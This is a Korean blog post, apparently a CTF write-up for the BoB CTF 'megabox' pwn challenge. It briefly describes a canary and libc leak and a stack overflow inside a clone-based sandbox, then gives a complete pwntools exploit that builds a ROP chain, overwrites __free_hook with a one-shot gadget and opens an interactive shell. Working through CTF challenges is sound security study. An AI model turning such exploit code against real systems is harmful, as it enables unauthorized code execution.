ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [BoB CTF] megabox
    CTF 2017. 1. 4. 01:53


    libc-2.19.so

    megabox


    megabox 문제는 일단 취약점은 엄청 간단하고, 중요한건 샌드박스임.




    name은 힙으로 관리하고, 힙은 사용하는데 없음 고로 힙익스가 아님..


    일단 mmap으로 커스텀스택을 하나 할당해서 요기로 관리하게된다. 


    그리고나서 clone이란 함수를 사용하는데, void ptr로 fn이 복제되어서 샌드박스안에서 돌아가는것처럼 됨.


    고로 샌드박스 이스케이프(?) 를 해야된다.




    일단 릭벡터와 오버플로우는 엄청 쉽게준다. 릭은 buf를 그냥출력하니까 쉽게 카나리를 릭할수있고, 기존의 리턴은 clone 근처의 libc주소를 갖고있기때문에 libc 릭도 쉽다. 하지만 어딜 덮어야될지모른다. 스택을 ROP로 릭해보았지만 바이너리가 꼬여서 돌아갈주소를 줘도 터지고 함....


    하지만 free_hook을 덮는 방법이있었다 망할 ㅋ




    익스안에 개고생했던것들이 들어가있다. 변수를 보면 알겠지만 하하하


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    from pwn import *
     
    = remote("10.211.55.3",11111)
    # p = remote("52.34.185.58",10001)
    # p = process("megabox")
    def write(data):
        print p.recvuntil(">>>")
        p.sendline("1")
        print p.recvuntil(">>>")
        p.sendline(data)
     
    def read():
        print p.recvuntil(">>>")
        p.sendline("2")
     
     
     
    print p.recvuntil("...")
    p.sendline("A"*32)
     
    write("P"*136)
    read()
    print p.recvuntil("P"*136)
    canary = u64(p.recv(8))
    print hex(canary)
     
     
    offset = 0xfa300
    base = 0xFA37D
    poprdi = 0x00401043
    printf_plt = 0x400960
    gets = 0x4009C0
    payload = "P"*136 + p64(canary) + "A"*8
    oneshot = 0x4647c
     
    write(payload)
    read()
    print p.recvuntil(payload)
    libc_leak = u64(p.recv(8))
    base = libc_leak - offset
    one_shot = base + oneshot
    system = base + 0x46590
    binsh = base + 0x17C8C3
    printf_plt = 0x400960
    poprdxrsi = base + 0x108099
    write_plt = 0x400930
    addrsp = base + 0x2D0F4
    read = 0x400980
    free_hook = base + 0x3C0A10
     
    print hex(libc_leak)
    print "canary: " + hex(canary)
    print "base: " + hex(base)
    print "oneshot: " + hex(one_shot)
    print "free@hook: " + hex(free_hook)
     
    payload = "P"*136 + p64(canary) + p64(0x0400E48)
    payload += p64(poprdi)
    payload += p64(free_hook)
    payload += p64(gets)
    payload += p64(0x400E48)
     
    write(payload)
     
    p.sendline("3")
    p.sendline(p64(one_shot))
     
    p.interactive()
     
    cs


    'CTF' 카테고리의 다른 글

    Plaid CTF prodmanager  (0) 2017.01.07
    [BoB CTF] casino  (0) 2017.01.04
    [christmas ctf 2016] who is solo 문제풀이  (0) 2016.12.25
    HoldyShield Pwn400 diary  (0) 2016.12.22
    HolyShield pwn100  (0) 2016.12.20

    댓글

Designed by Tistory.